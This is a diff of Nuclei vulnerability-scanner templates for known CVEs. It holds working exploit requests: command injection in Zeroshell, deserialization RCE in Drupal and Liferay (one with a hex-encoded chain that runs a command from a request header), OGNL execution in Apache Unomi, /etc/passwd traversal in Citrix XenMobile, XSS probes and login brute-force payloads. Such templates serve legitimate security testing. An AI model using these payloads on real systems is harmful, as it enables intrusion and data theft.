||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "WEB-INF"
|
||||
- "META-INF"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -17,7 +17,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: {{Hostname}}/maint/index.php?packages
|
||||
Content-Length: 160
|
||||
@@ -33,7 +32,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: {{Hostname}}/maint/index.php?packages
|
||||
Cookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2
|
||||
Authorization: Basic bWFpbnQ6cGFzc3dvcmQ=
|
||||
|
||||
@@ -24,7 +24,7 @@ requests:
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
|
||||
name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
id: cve-2018-13380
|
||||
|
||||
info:
|
||||
name: Fortinet FortiOS Cross-Site Scripting
|
||||
author: shelld3v
|
||||
severity: medium
|
||||
description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
|
||||
type: XSS
|
||||
reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<svg/onload=alert(1337)>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -17,7 +17,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 91
|
||||
DNT: 1
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
id: cve-2019-12725
|
||||
|
||||
info:
|
||||
name: Zeroshell 3.9.0 Remote Command Execution
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
This template exploits an unauthenticated command injection vulnerability
|
||||
found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
|
||||
As sudo is configured to execute /bin/tar without a password (NOPASSWD)
|
||||
it is possible to run root commands using the "checkpoint" tar options.
|
||||
references:
|
||||
- https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
|
||||
- https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
||||
@@ -16,7 +16,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: https://{{Hostname}}/
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 73
|
||||
|
||||
@@ -17,7 +17,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/
|
||||
@@ -30,7 +29,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/login_pic.asp
|
||||
@@ -44,7 +42,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/login_pic.asp
|
||||
|
||||
@@ -17,7 +17,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 259
|
||||
@@ -43,7 +42,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
|
||||
@@ -13,8 +13,16 @@ requests:
|
||||
path:
|
||||
- "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
- "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<img src=x onerror=alert(1)>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
@@ -0,0 +1,24 @@
|
||||
id: cve-2019-3402
|
||||
|
||||
info:
|
||||
name: Jira - Reflected XSS using searchOwnerUserName parameter.
|
||||
author: pdteam
|
||||
severity: medium
|
||||
description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
|
||||
|
||||
# Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<script>alert(1)</script>"
|
||||
part: body
|
||||
@@ -0,0 +1,40 @@
|
||||
id: cve-2019-6340
|
||||
|
||||
info:
|
||||
name: Drupal 8 core RESTful Web Services RCE
|
||||
author: madrobot
|
||||
severity: critical
|
||||
description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
|
||||
reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340
|
||||
product: Drupal
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- '{{BaseURL}}/node/1?_format=hal_json'
|
||||
|
||||
body: '{
|
||||
"link": [
|
||||
{
|
||||
"value": "link",
|
||||
"options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
|
||||
}
|
||||
],
|
||||
"_links": {
|
||||
"type": {
|
||||
"href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "uid="
|
||||
- "gid="
|
||||
condition: and
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -17,7 +17,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
@@ -27,7 +26,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
@@ -18,7 +18,6 @@ requests:
|
||||
Content-Type: application/json
|
||||
Origin: http://{{Hostname}}
|
||||
Referer: http://{{Hostname}}/artifactory/webapp/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Connection: close
|
||||
|
||||
File renamed without changes.
@@ -0,0 +1,60 @@
|
||||
id: cve-2020-13942
|
||||
|
||||
info:
|
||||
name: Apache Unomi Remote Code Execution
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
Remote Code Execution in Apache Unomi.
|
||||
Apache Unomi allows conditions to use OGNL and MVEL scripting which
|
||||
offers the possibility to call static Java classes from the JDK
|
||||
that could execute code with the permission level of the running Java process.
|
||||
This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
|
||||
|
||||
References:
|
||||
- https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
|
||||
- https://twitter.com/chybeta/status/1328912309440311297
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/context.json"
|
||||
- "{{BaseURL}}:8181/context.json"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{
|
||||
"filters": [
|
||||
{
|
||||
"id": "nuclei",
|
||||
"filters": [
|
||||
{
|
||||
"condition": {
|
||||
"parameterValues": {
|
||||
"nuclei": "script::Runtime.getRuntime().exec('id')"
|
||||
},
|
||||
"type": "profilePropertyCondition"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"sessionId": "nuclei"
|
||||
}
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
- "context-profile-id"
|
||||
condition: and
|
||||
part: header
|
||||
- type: regex
|
||||
regex:
|
||||
- "(profile|session)(Id|Properties|Segments)"
|
||||
- "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -28,7 +28,7 @@ requests:
|
||||
- |
|
||||
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
cmd: exec
|
||||
cmd: §exec§
|
||||
Connection: close
|
||||
Content-Type: application/x-www-form-urlencoded; charset=utf-8
|
||||
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
id: cve-2020-16846
|
||||
|
||||
info:
|
||||
name: SaltStack Shell Injection
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
|
||||
with the SSH client enabled, can result in shell injection.
|
||||
|
||||
This template supports the detection part only. See references.
|
||||
|
||||
References:
|
||||
- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
|
||||
- https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/run"
|
||||
- "{{BaseURL}}:8000/run"
|
||||
body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 500
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
- type: word
|
||||
words:
|
||||
- "An unexpected error occurred"
|
||||
part: body
|
||||
@@ -0,0 +1,39 @@
|
||||
id: cve-2020-26214
|
||||
info:
|
||||
|
||||
name: Alerta Authentication Bypass (CVE-2020-26214)
|
||||
author: CasperGN
|
||||
severity: critical
|
||||
description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
|
||||
|
||||
# Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
|
||||
# Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/api/config'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
condition: or
|
||||
- type: regex
|
||||
regex:
|
||||
- 'provider":"ldap"'
|
||||
- 'provider": "ldap"'
|
||||
condition: or
|
||||
extractors:
|
||||
- type: regex
|
||||
part: body
|
||||
name: alerta-version
|
||||
group: 1
|
||||
regex:
|
||||
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
|
||||
@@ -25,7 +25,7 @@ requests:
|
||||
Content-Type: text/xml; charset=UTF-8
|
||||
Connection: close
|
||||
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('§data§')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
|
||||
@@ -26,7 +26,7 @@ requests:
|
||||
raw:
|
||||
- |
|
||||
POST /api/jsonws/invoke HTTP/1.1
|
||||
Host: {{Hostname}}:port
|
||||
Host: {{Hostname}}:§port§
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
|
||||
Content-Length: 4938
|
||||
Accept: */*
|
||||
@@ -35,8 +35,7 @@ requests:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: {{BaseURL}}/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-tableId-name-type-defaultData
|
||||
X-Requested-With: XMLHttpRequest
|
||||
cmd2: command
|
||||
Accept-Encoding: gzip, deflate
|
||||
cmd2: §command§
|
||||
|
||||
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=nuclei&formDate=1597704739243&tableId=1&name=A&type=1&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource=%7B%22userOverridesAsString%22%3A%22HexAsciiSerializedMap%3AACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000023F40000000000001737200346F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6B657976616C75652E546965644D6170456E7472798AADD29B39C11FDB0200024C00036B65797400124C6A6176612F6C616E672F4F626A6563743B4C00036D617074000F4C6A6176612F7574696C2F4D61703B7870740003666F6F7372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E7471007E00037870767200206A617661782E7363726970742E536372697074456E67696E654D616E61676572000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000B6E6577496E7374616E6365757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007371007E00137571007E00180000000174000A4A61766153637269707474000F676574456E67696E6542794E616D657571007E001B00000001767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707371007E0013757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017404567661722063757272656E74546872656164203D20636F6D2E6C6966657261792E706F7274616C2E736572766963652E53657276696365436F6E746578745468726561644C6F63616C2E67657453657276696365436F6E7465787428293B0A76617220697357696E203D206A6176612E6C616E672E53797374656D2E67657450726F706572747928226F732E6E616D6522292E746F4C6F7765724361736528292E636F6E7461696E73282277696E22293B0A7661722072657175657374203D2063757272656E745468726561642E6765745265717565737428293B0A766172205F726571203D206F72672E6170616368652E636174616C696E612E636F6E6E6563746F722E526571756573744661636164652E636C6173732E6765744465636C617265644669656C6428227265717565737422293B0A5F7265712E73657441636365737369626C652874727565293B0A766172207265616C52657175657374203D205F7265712E6765742872657175657374293B0A76617220726573706F6E7365203D207265616C526571756573742E676574526573706F6E736528293B0A766172206F757470757453747265616D203D20726573706F6E73652E6765744F757470757453747265616D28293B0A76617220636D64203D206E6577206A6176612E6C616E672E537472696E6728726571756573742E6765744865616465722822636D64322229293B0A766172206C697374436D64203D206E6577206A6176612E7574696C2E41727261794C69737428293B0A7661722070203D206E6577206A6176612E6C616E672E50726F636573734275696C64657228293B0A696628697357696E297B0A20202020702E636F6D6D616E642822636D642E657865222C20222F63222C20636D64293B0A7D656C73657B0A20202020702E636F6D6D616E64282262617368222C20222D63222C20636D64293B0A7D0A702E72656469726563744572726F7253747265616D2874727565293B0A7661722070726F63657373203D20702E737461727428293B0A76617220696E70757453747265616D526561646572203D206E6577206A6176612E696F2E496E70757453747265616D5265616465722870726F636573732E676574496E70757453747265616D2829293B0A766172206275666665726564526561646572203D206E6577206A6176612E696F2E427566666572656452656164657228696E70757453747265616D526561646572293B0A766172206C696E65203D2022223B0A7661722066756C6C54657874203D2022223B0A7768696C6528286C696E65203D2062756666657265645265616465722E726561644C696E6528292920213D206E756C6C297B0A2020202066756C6C54657874203D2066756C6C54657874202B206C696E65202B20225C6E223B0A7D0A766172206279746573203D2066756C6C546578742E676574427974657328225554462D3822293B0A6F757470757453747265616D2E7772697465286279746573293B0A6F757470757453747265616D2E636C6F736528293B0A7400046576616C7571007E001B0000000171007E00237371007E000F737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000077080000001000000000787878%3B%22%7D
|
||||
matchers-condition: and
|
||||
|
||||
@@ -49,7 +49,7 @@ requests:
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: randkey
|
||||
rand_key: §randkey§
|
||||
|
||||
<appfwprofile><login></login></appfwprofile>
|
||||
|
||||
@@ -62,7 +62,7 @@ requests:
|
||||
Content-Type: application/xml
|
||||
X-NITRO-USER: oY39DXzQ
|
||||
X-NITRO-PASS: ZuU9Y9c1
|
||||
rand_key: randkey
|
||||
rand_key: §randkey§
|
||||
|
||||
<clipermission></clipermission>
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
id: cve-2020-8209
|
||||
|
||||
info:
|
||||
name: Citrix XenMobile Server Path Traversal
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: |
|
||||
Improper access control in Citrix XenMobile Server 10.12 before RP2,
|
||||
Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
|
||||
before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
|
||||
|
||||
References:
|
||||
- https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "fileDownload=true"
|
||||
- "application/octet-stream"
|
||||
- "attachment;"
|
||||
condition: and
|
||||
part: header
|
||||
@@ -37,7 +37,7 @@ requests:
|
||||
content-type: application/json
|
||||
Connection: close
|
||||
|
||||
{"user":"admin","password":"grafana_password"}
|
||||
{"user":"admin","password":"§grafana_password§"}
|
||||
|
||||
# grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
|
||||
|
||||
|
||||
@@ -25,7 +25,7 @@ requests:
|
||||
- |
|
||||
GET /manager/html HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Authorization: Basic {{base64('username:password')}}
|
||||
Authorization: Basic {{base64('§username§:§password§')}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
|
||||
Accept-Language: en-US,en;q=0.9
|
||||
Connection: close
|
||||
|
||||
@@ -7,8 +7,10 @@ info:
|
||||
|
||||
# Update the list with more CNAMEs related to azure
|
||||
# You need to claim the CNAME in Azure portal (https://portal.azure.com) to confirm the takeover.
|
||||
# Reference:- https://godiego.tech/posts/STO/, kudos to @secfaults for sharing process details.
|
||||
# Do not report this without claiming the CNAME.
|
||||
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: A
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
id: mx-service-detector
|
||||
|
||||
info:
|
||||
name: E-mail service detector
|
||||
author: binaryfigments
|
||||
severity: info
|
||||
description: Check the email service or spamfilter that is used for a domain.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: MX
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: "Office 365"
|
||||
words:
|
||||
- "mail.protection.outlook.com"
|
||||
- type: word
|
||||
name: "Google Apps"
|
||||
words:
|
||||
- "aspmx2.googlemail.com"
|
||||
- "aspmx3.googlemail.com"
|
||||
- "alt1.aspmx.l.google.com"
|
||||
- "alt2.aspmx.l.google.com"
|
||||
- "aspmx.l.google.com"
|
||||
- type: word
|
||||
name: "ProtonMail"
|
||||
words:
|
||||
- "mail.protonmail.ch"
|
||||
- "mailsec.protonmail.ch"
|
||||
- type: word
|
||||
name: "Zoho Mail"
|
||||
words:
|
||||
- "mx.zoho.eu"
|
||||
- "mx2.zoho.eu"
|
||||
- "mx3.zoho.eu"
|
||||
- type: word
|
||||
name: "ForcePoint Email Security"
|
||||
words:
|
||||
- "in.mailcontrol.com"
|
||||
- type: word
|
||||
name: "E-Zorg NL"
|
||||
words:
|
||||
- "spamfilter02.ezorg.nl"
|
||||
- "spamfilter01.ezorg.nl"
|
||||
- "spamfilter.ezorg.nl"
|
||||
- "spamfilter03.ezorg.nl"
|
||||
- type: word
|
||||
name: "Kerio Cloud EU"
|
||||
words:
|
||||
- "mx1.eu1.kerio.cloud"
|
||||
- "mx2.eu1.kerio.cloud"
|
||||
- type: word
|
||||
name: "Kerio Cloud US"
|
||||
words:
|
||||
- "mx1.us1.kerio.cloud"
|
||||
- "mx2.us1.kerio.cloud"
|
||||
- "mx3.us1.kerio.cloud"
|
||||
- type: word
|
||||
name: "Proofpoint EU"
|
||||
words:
|
||||
- "mx1-eu1.ppe-hosted.com"
|
||||
- "mx2-eu1.ppe-hosted.com"
|
||||
- type: word
|
||||
name: "Proofpoint US"
|
||||
words:
|
||||
- "mx1-us1.ppe-hosted.com"
|
||||
- "mx2-us1.ppe-hosted.com"
|
||||
@@ -0,0 +1,20 @@
|
||||
id: spoofable-spf-records-ptr
|
||||
|
||||
info:
|
||||
name: Find spoofable SPF records containing the PTR mechanism
|
||||
author: binaryfigments
|
||||
severity: info
|
||||
description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: TXT
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "v=spf1"
|
||||
- " ptr "
|
||||
condition: and
|
||||
@@ -14,7 +14,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 1
|
||||
Connection: close
|
||||
|
||||
